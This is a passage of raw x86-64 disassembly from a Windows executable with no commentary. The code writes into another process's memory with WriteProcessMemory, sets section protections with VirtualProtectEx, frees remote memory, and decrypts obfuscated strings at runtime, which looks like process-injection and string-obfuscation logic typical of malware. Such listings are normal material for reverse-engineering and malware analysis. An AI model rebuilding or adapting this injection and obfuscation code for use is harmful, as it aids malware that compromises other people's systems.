test edx, edx
jne 0x14022e793
mov eax, dword [0x1402648d0]
mov r9d, ebx
movups xmm0, xmmword [0x1402648c0]
mov esi, dword [0x140275008]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1402648d4]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x1402648d6]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
cmp esi, 2
jl 0x14022e401
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x14022e240
cmp r9d, 0x17
jge 0x14022e465
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x17
jl 0x14022e410
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov edx, dword [rdi + 0xc]
mov rcx, r13
add rdx, qword [rbp - 0x50]
mov r9d, dword [rdi + 8]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14022e775
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140264995], bl
mov r11d, eax
movups xmm0, xmmword [str._v_i_r7:_.]
mov ecx, dword [0x140264990]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x140264994]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x140264988]
movsd qword [rsp + 0x78], xmm0
je 0x14022e765
mov r9d, ebx
cmp esi, 2
jl 0x14022e701
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x14022e540
cmp r9d, 0x1e
jge 0x14022e765
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x1e
jl 0x14022e710
mov r8d, r11d
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.1401ba3f0
movzx r10d, word [0x140264620]
movzx esi, byte [0x140264622]
mov r11d, dword [str.f8__3R]
movzx r9d, word [0x140264600]
mov ecx, dword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
inc ecx
add rdi, 0x28
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x14022e0f0
movzx ecx, ax
mov rdi, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rdi + 0x14]
add rdi, 0x18
add rdi, rax
test cx, cx
je 0x14022edc6
mov edx, 0x20
mov ecx, dword [rdi + 8]
test ecx, ecx
je 0x14022edaa
mov eax, dword [rdi + 0x24]
mov dword [rbp + 0x58], ebx
test eax, 0x80000000
jbe 0x14022e7f1
mov esi, 4
jmp 0x14022e7fe
test eax, 0x20000000
mov esi, 2
cmova esi, edx
mov edx, dword [rdi + 0xc]
lea rax, [rbp + 0x58]
add rdx, qword [rbp - 0x50]
mov r8, rcx
mov r9d, esi
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14022eaef
cmp dword [0x140275008], 2
mov r8d, ebx
mov eax, dword [0x1402646c8]
movups xmm0, xmmword [str.___:9:v__]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1402646cc]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x1402646ce]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
jl 0x14022ea81
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r8d
lea eax, [r8 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r8d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x14022e8c0
cmp r8d, 0x17
jge 0x14022eae5
movsxd rax, r8d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r8d
movzx r9d, r8b
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r8d
sub r9b, cl
inc r8d
sar edx, 5
add r9b, 0x24
mov eax, edx
add r9b, r9b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r9b, cl
xor byte [r10 - 1], r9b
cmp r8d, 0x17
jl 0x14022ea90
lea rcx, [rsp + 0x68]
jmp 0x14022ed9a
cmp dword [0x140275008], 2
mov r9d, ebx
movups xmm0, xmmword [0x140264648]
movzx eax, byte [0x140264668]
movups xmm1, xmmword [0x140264658]
mov byte [rbp - 0x78], al
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x14022ed33
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x14022eb72
cmp r9d, 0x21
jge 0x14022ed95
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x21
jl 0x14022ed40
lea rcx, [rsp + 0x68]
mov r8d, esi
mov rdx, rdi
call fcn.1401ba3f0
mov edx, 0x20
mov ecx, dword [rbp + 0x50]
add rdi, 0x28
mov rax, qword [rbp - 0x38]
inc ecx
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x14022e7d2
mov rcx, qword [rbp - 0x38]
mov r9d, 2
mov rdx, qword [rbp - 0x50]
mov dword [rbp + 0x5c], ebx
movzx eax, word [rcx + 0x14]
mov r8d, dword [rax + rcx + 0x24]
lea rax, [rbp + 0x5c]
mov rcx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdi, qword [rbp - 0x40]
mov r9d, 0x1000
mov r8, qword [rsp + 0x50]
mov rdx, rdi
mov rcx, r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14022f0cf
movups xmm1, xmmword [0x140264878]
movups xmm0, xmmword [0x140264868]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x14022f0c5
cmp dword [0x140275008], 2
jl 0x14022f05f
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov edx, ebx
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x14022eea4
jmp 0x14022f0c5
lea r10, [rsp + 0x68]
mov r9d, ebx
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x20
jl 0x14022f070
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edi, dword [0x140275008]
test eax, eax
jne 0x14022f3af
movzx eax, word [0x140264720]
mov r9d, ebx
mov word [rbp - 0x70], ax
movups xmm0, xmmword [0x1402646f8]
movups xmm1, xmmword [0x140264708]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140264718]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x14022f341
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x14022f180
cmp r9d, 0x2a
jge 0x14022f3a5
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x2a
jl 0x14022f350
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x14022f68a
mov eax, dword [0x140264920]
mov dword [rbp - 0x70], eax
movups xmm0, xmmword [0x1402648f8]
movups xmm1, xmmword [0x140264908]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140264918]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x14022f61e
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
